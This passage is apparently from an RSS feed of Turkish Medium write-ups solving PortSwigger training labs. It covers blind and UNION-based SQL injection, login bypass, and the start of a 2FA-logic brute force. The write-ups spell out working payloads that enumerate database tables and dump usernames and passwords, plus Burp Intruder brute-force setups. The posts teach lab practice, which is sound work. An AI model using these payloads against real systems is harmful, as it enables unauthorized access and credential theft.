‘a’) || ‘ sorgusunda amaç, administrator parolasının <strong>1. karakterinin “a” olup olmadığını</strong> test etmektir. Sunucu <strong>200 OK</strong> döndürdüğünde bu, SUBSTR(password,1,1) = ‘a’ koşulunun <strong>false</strong> olduğu anlamına gelir. Yani tablo bu filtreye uyan bir satır döndürmez, CASE ifadesi hiç tetiklenmez ve TO_CHAR(1/0) çalışmadığı için hata oluşmaz. Bu sonuç, parolanın ilk karakterinin <strong>“a” olmadığını</strong> ispatlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*VkfSiJAs6hia7vLuD8R6jw.png" /></figure><p>Parolanın toplam <strong>20 karakter</strong> olduğunu artık bildiğim için her bir karakteri manuel olarak denemek yerine bu aşamada <strong>Burp Suite Intruder ile otomatik brute force</strong> saldırısı başlatacağım. İlk payload pozisyonu, parolanın test edilecek <strong>karakter indeksini</strong> temsil edecek şekilde ayarlanacak (1’den 20’ye kadar). Intruder bu pozisyona her istekte sırasıyla 1, 2, 3 … 20 değerlerini göndererek parolanın her bir karakterini sistematik olarak test etmemi sağlayacak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*OHf8kHHU3vxkdHyr6DKS9g.png" /></figure><p>Parolanın ikinci değişkeni doğrudan <strong>karakterin kendisini</strong> ifade ettiği için, Intruder’da bu pozisyona olası tüm karakterleri (küçük harf, büyük harf, rakam ve gerekiyorsa özel karakterler) içeren bir payload seti ekledim. Böylece birinci pozisyon <strong>karakterin indexi</strong> (1–20), ikinci pozisyon ise <strong>test edilecek karakter</strong> olacak şekilde yapılandırıldı. Attack type olarak <strong>Cluster Bomb</strong> seçip atağı başlattım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*FqbPDLK4e9WDXDCwImeQsA.png" /></figure><p>Atak tamamlandığında, Burp Intruder’ın gönderdiği istekler arasından <strong>500 hatası dönen payloadları inceledim</strong>. CASE yapısı yalnızca doğru karakter test edildiğinde hata ürettiği için, her indeks için 500 dönen istek bana parolanın o pozisyondaki gerçek karakterini gösterdi. Tüm indeksleri birleştirdiğimde parolanın <strong>7vkbqyw0qf2amsutnwny</strong> olduğunu tespit ettim ve böylece parola tamamen ortaya çıkmış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*VApRtW7hRa_0cSnJR1cpGg.png" /></figure><p>Elde ettiğim parolayı girerek sisteme başarılı bir şekilde login oldum. Böylece labı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*8gA-bZ6-Tko8Qrp6GV2qeA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e107fb85c711" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger SQL Injection Lab Çözümleri-1]]></title>
            <link>https://medium.com/@eneskurtlan/portswigger-sql-injection-lab-%C3%A7%C3%B6z%C3%BCmleri-1-cea25395cf68?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/cea25395cf68</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 08:37:12 GMT</pubDate>
            <atom:updated>2025-11-17T08:37:12.227Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>PortSwigger’ın SQL Injection bölümünde toplam 18 adet lab bulunmaktadır. Bu lablara ait write-up’ları üç ayrı yazı halinde paylaşacağım. Her yazıda altı labın çözümünü detaylı şekilde ele alacağım.<br> Şimdiden keyifli okumalar!</blockquote><h3><strong>Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</strong></h3><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu zafiyeti içermektedir. Kullanıcı bir kategori seçtiğinde, uygulama aşağıdaki gibi bir SQL sorgusu çalıştırır:</p><p>SELECT * FROM products WHERE category = &#39;Gifts&#39; AND released = 1</p><p>Laboratuvarı çözmek için, uygulamanın yayınlanmamış ürünleri göstermesine neden olacak bir SQL enjeksiyonu saldırısı gerçekleştirin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*2w9lEirfa-vPzbz1LvUOLQ.jpeg" /></figure><p>Her labda olduğu gibi bu labda da BurpSuite aktif hale getiriyorum. Labı başlattığımda karşıma farklı kategorilerde ürünler listelendi. İlk adımda SQL açığının gerçekten mevcut olup olmadığını test etmek için küçük denemeler yaptım. Uygulamanın arka planda çalıştırdığı sorgu şu şekildeydi:</p><p>SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1</p><p>Burada <strong>Gifts</strong> parametresini kaldırıp yerine tek tırnak (&#39;) koyduğumda sorgu şu hale dönüştü:</p><p>SELECT * FROM products WHERE category = ‘ ’ ‘ AND released = 1</p><p>Bu yöntemle, uygulamanın parametreyi doğrudan sorguya yerleştirdiğini ve tırnak işaretiyle sorgunun bozulduğunu gözlemledim. Bu noktada ekranda <em>Internal Server Error</em> hatası aldım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*ehYzrCPjFJWKK84GrHHXlQ.jpeg" /></figure><p>Sıradaki adımda ise, eklediğim tırnaktan sonra gelen kısmı <strong>yorum satırı</strong> haline getirmeyi denedim. Böylece sorguda yer alan ve AND ile başlayan ikinci koşulu devre dışı bırakmak istedim. Bunun için oluşturduğum tırnaktan hemen sonra -- işaretini ekledim. Bu yöntem, SQL’de sonraki kısmın yorum olarak algılanmasını sağlar. Sorgunun yeni hali şu şekilde oldu:</p><p>SELECT * FROM products WHERE category = ‘ ‘- -‘ AND released = 1</p><p>Bu sayede released = 1 şartı devre dışı kalmış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*bhG6lT7GmZmBOzyJ2hfyJQ.jpeg" /></figure><p>Labın benden istediği şey<strong>;</strong> yayınlanmış olsun ya da olmasın, tüm ürünleri listelemek. Normalde sorguda released = 1 şartı bulunduğu için sadece yayınlanmış ürünler görüntüleniyor. Bunu aşmak için şu sorguyu kullandım:</p><p>SELECT * FROM products WHERE category = ‘’ OR 1=1- -‘ AND released = 1</p><p>Buradaki mantık şu şekilde:</p><ul><li>OR 1=1 → Her zaman <strong>true</strong> dönen bir koşul ekleniyor. Böylece kategori filtresi ve yayınlanma şartı geçersiz hale geliyor.</li><li>Bundan sonraki kısmı yorum satırı yaparak, AND released = 1 koşulunu tamamen etkisiz hale getiriyor.</li></ul><p>Sonuç olarak uygulama, hem yayınlanmış hem de yayınlanmamış <strong>tüm ürünleri</strong> ekrana getiriyor. Bu da labın benden istediği sonucu sağlamış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*HTkC5dnGAFEmBTa7p4X7Cg.jpeg" /></figure><p>Burada sadece OR 1=1 kullanmama gerek yoktu. Aslında ana amaç, koşulun sonucunu <strong>her zaman doğru (1)</strong> hale getirerek tüm verileri almaktı. Yani mantık aynı kalıyor, sadece yazım şekli değişiyor.</p><p>Aşağıdaki tabloda ise bu amaçla kullanılabilecek <strong>alternatif ifadeler</strong> yer alıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIOk_Z8s61cMHCme1OrTDA.png" /></figure><h3><strong>Lab: SQL injection vulnerability allowing login bypass</strong></h3><p>Bu laboratuvarda, giriş (login) fonksiyonunda bir SQL injection açığı bulunmaktadır.</p><p>Laboratuvarı çözmek için, SQL injection saldırısı yaparak uygulamaya<strong> administrator </strong>kullanıcısı olarak giriş yapın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*vDt_FIh6sgUzTreqIBje5w.jpeg" /></figure><p>BurpSuite’i aktif hale getirip laboratuvarı başlattım. Karşıma bir login ekranı çıktı ve sayfayı açtım. Giriş ekranı, kullanıcı adı (username) ve parola (password) istiyor. Buradaki alanların manipüle edilebilir olup olmadığını test etmek için <strong>’ (tek tırnak)</strong> işareti girdim ve <strong>Internal Server Error</strong> hatası aldım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*Z6rHHhIjDFUY37t2DcTHeg.jpeg" /></figure><p>Arkada çalışan SQL sorgusunun mantığını şöyle tahmin ediyorum:</p><p>SELECT name FROM users WHERE username=’admin’ AND password=’admin’</p><p>Test amaçlı olarak kullanıcı adı alanına &#39; (tek tırnak) girdiğimde, sorgu şu hâle geliyor:</p><p>SELECT name FROM users WHERE username=’ ’ ‘ AND password=’admin’</p><p>Bu durumda <strong>Internal Server Error</strong> hatası alıyorum, çünkü sorgu bozuluyor. Buradan, login alanlarının SQL injection’a açık olduğunu anlıyorum.</p><p>Sorguyu yorum satırı ile manipüle edersek, parola kontrolü atlanabilir. Örneğin kullanıcı adı alanına şu şekilde bir giriş yaptım:</p><p>SELECT name FROM users WHERE username=’administrator’- -‘ AND password=’admin’</p><p>Burada -- işareti, SQL’de yorum satırı başlatır ve sonrasındaki AND password=&#39;admin&#39; kısmını pasife alır. Böylece parola doğrulamasını atlayarak <strong>administrator hesabıyla</strong> başarılı bir şekilde giriş yaptım ve laboratuvarı tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*7CDnsIbx48wuvv9Dtjky8Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*9rnDSbEyCsHGVpOjVBNf3g.jpeg" /></figure><h3><strong>Lab: SQL injection attack, querying the database type and version on Oracle</strong></h3><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Enjekte edilen bir sorgudan sonuçları almak için bir UNION saldırısı kullanabilirsiniz.</p><p>Laboratuvarı çözmek için veritabanı sürüm dizesini görüntülememiz istenmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*Ws9Q6gwGkdC6oMm6H0UvBA.png" /></figure><p>BurpSuite’i aktif edip labı başlatıyorum. Sonra ürün kategorilerinden birine girip SQL açığı olup olmadığını denemeye başlıyorum. Tek tırnak (‘) ile zafiyet kontrolü yaptığımda 500 hatası alıyorum ve bu noktada büyük ihtimalle bir SQL hatası olduğunu düşünüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*CAsO00SDs6foMLL_IeHgcg.png" /></figure><p>Burada 500 hatasını ortadan kaldırmak için sorgunun geri kalan kısmını yorum satırı haline getirmeyi deniyorum. Yorum operatörleri olarak --ve # kullanıyorum; denemeler sonucunda -- operatörüyle başarılı bir şekilde 200 cevabını alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*7PJP_oa823eFdbcn4V_Lfw.png" /></figure><p>Bu aşamada kaç kolon olduğunu öğrenmek için ORDER BY denemeleri yapıyorum. ORDER BY 1,2--yazınca sorgu normal çalışıyor, böylece tabloda 2 kolon olduğunu anlıyorum. 3 veya daha fazlasını yazdığımda ise 500 hatası dönüyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*L-0oIHdAe1GHYPRROTTPpA.png" /></figure><p>‘ UNION SELECT ‘a’,’a’ -- payload’ını giriyorum; burada amaç uygulamanın sorgusuna iki sabit değer ekleyip (‘a’) hangi kolonun ekrana yazıldığını ve kolon sayısı/tip uyumunu test etmek. -- geri kalan orijinal sorguyu yorum haline getiriyor, ama ben 500 hatası alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*VnzmKMAGyYUlS3xgd7_-og.png" /></figure><p>500 hatası aldığımda sorguda bir sorun olduğunu düşünüyorum, bu yüzden farklı bir veritabanı olabileceğini tahmin ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*9K0U1utoT3dv2GKoOzUWLg.png" /></figure><p>Oracle veritabanı olduğunu varsayarak</p><p>‘ UNION SELECT ‘a’,’a’ FROM DUAL --</p><p>sorgusunu tekrar gönderiyorum ve başarılı bir şekilde 200 cevabını alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*rLhidUkAsOg7Ld2m43KY3Q.png" /></figure><p>Lab benden versiyon numarasını istiyordu. Cheat-sheet’e bakınca Oracle için SELECT banner FROM v$version sorgusunu gördüm. Bunu UNION ile birleştirip ‘ UNION SELECT banner, NULL FROM v$version-- şeklinde gönderdim ve başarılı şekilde 200 cevabı aldım. Labı yenilediğimde görevi tamamlamış olduğumu gördüm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*am2meBdN5IW6yN7CScbveA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*YlfRFG7ko97Q1DchF4YOUQ.png" /></figure><h3><strong>Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft</strong></h3><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Enjekte edilen bir sorgudan sonuçları almak için bir UNION saldırısı kullanabilirsiniz.</p><p>Laboratuvarı çözmek için veritabanı sürüm dizesini görüntüleyin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*xTPBWkmjMjsuTcxiyyYdFA.png" /></figure><p>Burp Suite’i aktif hale getirip labı başlattıktan sonra, SQL açığının ürün kategorilerinde olabileceğini düşündüğüm için Accessories kategorisine gidiyorum ve ilgili isteği Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*wgRFqIyNQIldHJCVORcNyA.png" /></figure><p>SQL açığı olabileceğini düşündüğüm için isteğe tek tırnak (‘) koyup paketi gönderiyorum; sunucu 500 hatası döndürüyor bu yüzden burada bir SQL açığı olduğunu düşünüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*JVwNUPMkHrqj8XtNp1AL4A.png" /></figure><p>Hatanın üstesinden gelmek için sonraki sorguyu yorum olarak göndermeyi deniyorum -- veya # kullanmayı düşündüm; # işaretiyle gönderince sunucudan başarılı şekilde 200 yanıtı alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*z0xPb08NANx8o44Gh-sb0g.png" /></figure><p>Şimdi, tabloda kaç kolon olduğunu anlamak için ORDER BY ifadesini kullanıyorum. ‘ ORDER BY 1# sorgusunu gönderdiğimde sunucudan başarılı bir şekilde 200 yanıtı alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*Gh0ACSWVTcTWV8EKkgiXBg.png" /></figure><p>Toplam sütun sayısını bulmak için ‘ ORDER BY 1,2,3# sorgusunu gönderiyorum; sunucu 500 hatası döndüğü için buradan tablonun sadece 2 kolon içerdiğini anlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*PD0rHMG-l3JFAUGYUYLMJA.png" /></figure><p>Sistem benden versiyon bilgisini istediği için sorguları birleştirmek amacıyla UNION SELECT ifadesini kullanıyorum. Tabloda iki sütun olduğunu bildiğimden, ilk değeri NULL olarak bırakıp ikinci değere versiyon bilgisini döndüren version() fonksiyonunu ekliyorum. Yani sorgum şu şekilde oluyor: ‘ UNION SELECT NULL, version()#<br> Bu sorguyu gönderdiğimde sunucudan 200 yanıtı geliyor ve veritabanının versiyon numarasını başarıyla görüntüleyebiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*NT3Meb9XPGmko0x28wmgIA.png" /></figure><p>Böylece labı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*gBO-phucatN9u2tZSjWMhg.png" /></figure><h3><strong>Lab: SQL injection attack, listing the database contents on non-Oracle databases</strong></h3><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz.</p><p>Uygulama bir oturum açma işlevine sahiptir ve veritabanı, kullanıcı adları ve parolaları içeren bir tablo içerir. Bu tablonun adını ve içerdiği sütunları belirlemeniz, ardından tüm kullanıcıların kullanıcı adı ve parolasını almak için tablonun içeriğini almanız gerekir.</p><p>Laboratuvarı çözmek için yönetici (administrator) kullanıcısı olarak oturum açın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*CKkW5x9Hcf9TssRI9eUfbA.png" /></figure><p>Burp Suite’i açıp labı başlattıktan sonra, Category → Pets bölümüne gidiyor ve ilgili paketi test için Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*yuNdSz36SRfzOovx3lrn9Q.png" /></figure><p>Burada SQL zafiyetini kontrol etmek için ‘ karakteriyle isteği gönderiyorum; karşılık olarak 500 Internal Server Error alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*NE_qmsolzF98WSZ0MHyhdw.png" /></figure><p>500 hatasından kurtulmak için sorgunun geri kalan kısmını <strong>yorum satırı</strong> haline getirmem gerekiyor. Bu amaçla hem -- hem de # karakterlerini deniyorum; # hataya yol açarken, -- ile gönderdiğimde sunucudan 200 başarılı yanıt alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*8m7cLgMAMJG9evyJBHLY2Q.png" /></figure><p>Veritabanında kaç kolon olduğunu bulmak için ‘ ORDER BY ifadesini kullanarak test ediyorum. Sorgular 2 kolona kadar başarılı sonuç veriyor; bu sayede tabloda <strong>2 kolon</strong> olduğunu anlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*NitLofhC9v2TKJyyUhopNg.png" /></figure><p>Kolonların metin (text) veri tipi alıp almadığını test etmek için ‘ UNION SELECT ‘a’, ‘a’-- sorgusunu gönderiyorum. Burada UNION SELECT ile iki kolona de basit bir metin değeri (‘a’) ekliyor, -- ile sorgunun geri kalan kısmını yorum satırına alıyorum. Sorgu başarılı şekilde çalışıyor ve 200 yanıtı alıyorum; bu da kolonların text veriyi kabul ettiğini gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*dUEQP7ce5HdMyZwqoZsqIg.png" /></figure><p>Önce hangi veritabanının kullanıldığını öğrenmek için versiyon bilgisini çekmeye çalışıyorum. Cheat‑sheet’e bakarak önce Oracle için v$version denedim sunucu 500 hatası verdi. Sonra MS SQL için @@version denedim, o da hata verdi. En sonunda version() sorgusunu gönderiyorum; başarılı şekilde 200 kodu alıyorum ve çıktıda versiyon bilgisi görünüyor böylece sistemin <strong>PostgreSQL 12.22 (Ubuntu)</strong> olduğunu doğrulamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*MPzMiHkKUlPzG0SvnbPHNQ.png" /></figure><p>Cheat‑sheet’te SELECT * FROM information_schema.tables sorgusunu gördüm ve veritabanından tablo isimlerini çekmeyi planladım. information_schema.tables, veritabanındaki tüm tabloların isimlerini ve bazı meta bilgilerini içeren standart bir sistem tablosudur. Tablonun iki sütunlu olduğunu bildiğim için ilk sütuna NULL, ikinci sütuna ise tablo adlarını döndüren table_name ifadesini yerleştirerek sorguyu şöyle oluşturdum: ‘ UNION SELECT NULL, table_name FROM information_schema.tables--<br> İsteği gönderdiğimde beklediğim gibi tablo isimleri döndü ve users_kpuchd satırını görebildim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*JiRMOv8IeRLMEJVnZio-bg.png" /></figure><p>Yukarıda bulduğum sütun adlarını kullanarak tablonun içeriğini görmek için yeni bir sorgu oluşturuyorum. information_schema.columns üzerinden users_kpuchd tablosuna ait sütunları çekmek için şu sorguyu gönderiyorum:</p><p>‘ UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name=’users_kpuchd’ --</p><p>İsteği gönderdiğimde başarılı oldu ve tabloda username_wdvxff ile password_rppgct adında iki sütun olduğunu gördüm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*S8EVCiumwOBmg2ugqF_XkQ.png" /></figure><p>users_kpuchd tablosundaki verileri okumak için UNION SELECT ile tabloyu hedef alıyorum: ilk sütun yerine username_wdvxff, ikinci sütun yerine password_rppgct seçerek FROM users_kpuchd sorgusunu gönderiyorum ve -- ile geri kalan kısmı yorum haline alıyorum. Bu sorgu başarılı şekilde çalışıyor ve tablo içindeki kullanıcı adları ile parolaları listeliyor; sonuçların arasında <strong>administrator</strong> kullanıcısının parolasını da görebiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*u2TWhRxBFqsiUrpu27Zxdw.png" /></figure><p>Administrator parolasını giriyorum ve kimlik doğrulama başarılı sistemde oturum açıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*MHRtJJlKuMolsabJN3buLw.png" /></figure><h3><strong>Lab: SQL injection attack, listing the database contents on Oracle</strong></h3><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz.</p><p>Uygulama bir oturum açma işlevine sahiptir ve veritabanı, kullanıcı adları ve parolaları içeren bir tablo içerir. Bu tablonun adını ve içerdiği sütunları belirlemeniz ve ardından tüm kullanıcıların kullanıcı adı ve parolasını almak için tablonun içeriğini almanız gerekir.</p><p>Laboratuvarı çözmek için yönetici (administrator) kullanıcısı olarak oturum açın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*2d6ttJ9x7dtnNYxbzmgKug.png" /></figure><p>Labı başlatıp Burp Suite’i çalıştırıyorum. Kategori bölümünde SQL açığı uyarısı görünce <em>Pets</em> kategorisine girip ilgili isteği Burp üzerinden yakalayıp Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*RbpBlY19VqK93A6VhHCCMA.png" /></figure><p>SQL açığını test etmek için tek tırnak (‘) ekleyerek isteği gönderiyorum; sunucu 500 hatası döndürüyor. Bu durumda SQL açığı olduğunu tespit ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*RSSWTX4D2BGfOHvea_ue8Q.png" /></figure><p>Sorguyu hataya sokmamak için yorum satırı eklemeyi denedim; # kullandığımda sunucu 500 döndürürken, -- kullandığımda isteğin 200 ile başarılı olduğunu ve giriş işleminin tamamlandığını gördüm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*PEDMu3KYlQnAaC10M7yiIg.png" /></figure><p>Veritabanında kaç sütun bulunduğunu tespit etmek için ‘ ORDER BY 1,2 -- sorgusunu denedim ve iki sütun olduğunu gördüm. Çünkü ‘ ORDER BY 1,2,3-- sorgusunu gönderdiğimde sunucu 500 hata kodu döndürdü.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*xvIqRYi68A-BvcTv_E4FmQ.png" /></figure><p>‘ UNION SELECT ‘a’,’a’-- sorgusunu çalıştırdığımda sunucu 500 hata kodu döndürdü. Ancak sorguya FROM dual ifadesini eklediğimde başarılı sonuç aldım. Bu durum, veritabanının <strong>Oracle</strong> olduğunu gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*4km2o1OhtNS-LLZbNKyYtQ.png" /></figure><p>Veritabanındaki tabloları görüntülemek için cheat sheet’e başvurdum. Oracle için SELECT * FROM all_tables komutunun kullanıldığını gördüm. İnternetten yaptığım araştırmada all_tables tablosunda table_name alanının bulunduğunu öğrendim. Sistemde iki sütun olduğu için diğer sütunu NULL olarak ekledim. Sonuç olarak, sorguyu<strong> ‘ UNION SELECT table_name, NULL FROM all_tables -- </strong>şeklinde gönderdim ve başarılı bir şekilde tablo adlarını görüntüledim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*eIMWaNCrTM61zQyZQy7fgQ.png" /></figure><p>Veritabanında hangi sütunların (kolonların) bulunduğunu tespit etmek için Oracle sistemlerinde kullanılan <strong>ALL_TAB_COLUMNS</strong> görünümünden yararlandım. Bu görünüm, sistemdeki tüm tabloların kolon bilgilerini içerir ve genellikle table_name, column_name, data_type gibi alanları döndürür.</p><p>Daha önce ‘ ORDER BY yöntemiyle tabloda iki sütun olduğunu belirlemiştim. Bu nedenle UNION SELECT sorgusunu oluştururken ikinci değeri NULL olarak ekledim. Ardından aşağıdaki sorguyu Burp Suite’in <strong>Repeater</strong> sekmesinden gönderdim:</p><p>‘ UNION SELECT column_name, NULL FROM ALL_TAB_COLUMNS WHERE table_name = ‘USERS_ADDRQM’ --</p><p>Sorguyu çalıştırdığımda, sunucu <strong>200 (OK)</strong> yanıt kodu döndürdü ve sonuç kısmında password ile username sütunlarının listelendiğini gördüm. Bu durum, <strong>Oracle veritabanı</strong> üzerinde çalıştığımı ve USERS_ADDRQM tablosunun kullanıcı bilgilerini içeren kolonlara sahip olduğunu doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*soALovemk68d_NhJ4fOzzg.png" /></figure><p>Bulduğum sütunlardaki verileri elde etmek için hedef tablo adını kullanarak doğrudan UNION SELECT sorgusu gönderdim. Daha önce iki sütun olduğunu tespit ettiğim için UNION tarafında iki sütun döndüren bir sorgu oluşturdum: USERNAME ve PASSWORD. Sorgunun sonuna yorum işareti (- -) ekleyerek ana sorgunun geri kalanının yürütülmesini engelledim ve hata oluşmasını önledim. Burp Suite Repeater üzerinden gönderdiğim enjeksiyon şu formattaydı: ‘ UNION SELECT USERNAME, PASSWORD FROM USERS_ADDRQM--</p><p>Sorgu sonucunda başarılı bir şekilde adminin paroalsını görmekteyim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*xVZXeqk4v75yb1DqHsT0_w.png" /></figure><p>Bulduğum parolayı kullanarak sisteme başarılı bir şekilde giriş yaptım. Böylece laboratuvar senaryosunu başarıyla tamamladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Sxbwm284be607XFP0t0u_w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cea25395cf68" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Authentication Lab Çözümleri-2]]></title>
            <link>https://medium.com/@eneskurtlan/portswigger-authentication-lab-%C3%A7%C3%B6z%C3%BCmleri-2-d55f4c209da2?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/d55f4c209da2</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 07:36:37 GMT</pubDate>
            <atom:updated>2025-09-08T07:36:37.718Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab: 2FA broken logic</strong></p><p>Bu laboratuvarın iki faktörlü kimlik doğrulaması, kusurlu mantığı nedeniyle savunmasızdır. Laboratuvarı çözmek için Carlos’un hesap sayfasına erişin.</p><p>· Kimlik bilgileriniz: sızlayıcı:peter</p><p>· Kurbanın kullanıcı adı: Carlos</p><p>Ayrıca 2FA doğrulama kodunuzu almak için e-posta sunucusuna da erişebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*8ivuvpwcPB8e5frOFF3qzg.jpeg" /></figure><p>BurpSuite’i aktif hale getirerek lab ortamını başlattım. Bana verilen wiener:peter kullanıcı bilgileri ile giriş yaptım. Yaptığım bu işlem 2 adımdan oluşuyor ve analiz etmek için Repeater’a gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*-JjF0BDuN49VPMegSuydVA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*Rin9TqFtpqNKB-4g07i2gg.jpeg" /></figure><p>Ardından e-posta doğrulaması için verilen mail hesabına erişip, gönderilen 4 haneli doğrulama kodunu sisteme girdim ve başarılı bir şekilde giriş sağladım. Bu sürecin mantığını analiz edebilmek ve ilerleyen adımlarda kullanmak amacıyla ilgili HTTP isteklerini yakalayarak BurpSuite Repeater’a gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*Gqs8Mx3o803vqNIRPTsNww.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*8ujuJ-OKwiMoO3YGrzp1UQ.jpeg" /></figure><p>Paketleri analiz ettiğimde, /login dizininin kullanıcı adı ve parolayı, /login2 dizininin ise kullanıcı adı ve kullanıcıya ait session bilgisini içerdiğini görüyorum. Burada session bilgisini silip sadece kullanıcı adını &quot;Carlos&quot; olarak değiştirerek isteği gönderiyorum ve Response olarak 200 kodunu alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*NM5UHtWvsmWxIvlTFXKcDw.jpeg" /></figure><p>İki faktörlü doğrulama paketinde de session bilgisini kaldırıyorum. Kullanıcı adını “Carlos” olarak değiştirip paketi gönderdiğimde, sistem bana kodun yanlış olduğunu gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*tr2qqGH8Nh_H7nKmZsgjYg.jpeg" /></figure><p>Doğru 2FA kodunu bulmak için brute-force uygulamam gerekiyor. Bu amaçla paketi Intruder’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*FjkibxGzveABiSTY8CwvjA.jpeg" /></figure><p>Burada, uzunluğu 4 rakam olan ve 10.000 olasılığı kapsayan bir brute-force saldırısı başlatıyorum. BurpSuite’nin standart sürümünde bu işlem uzun 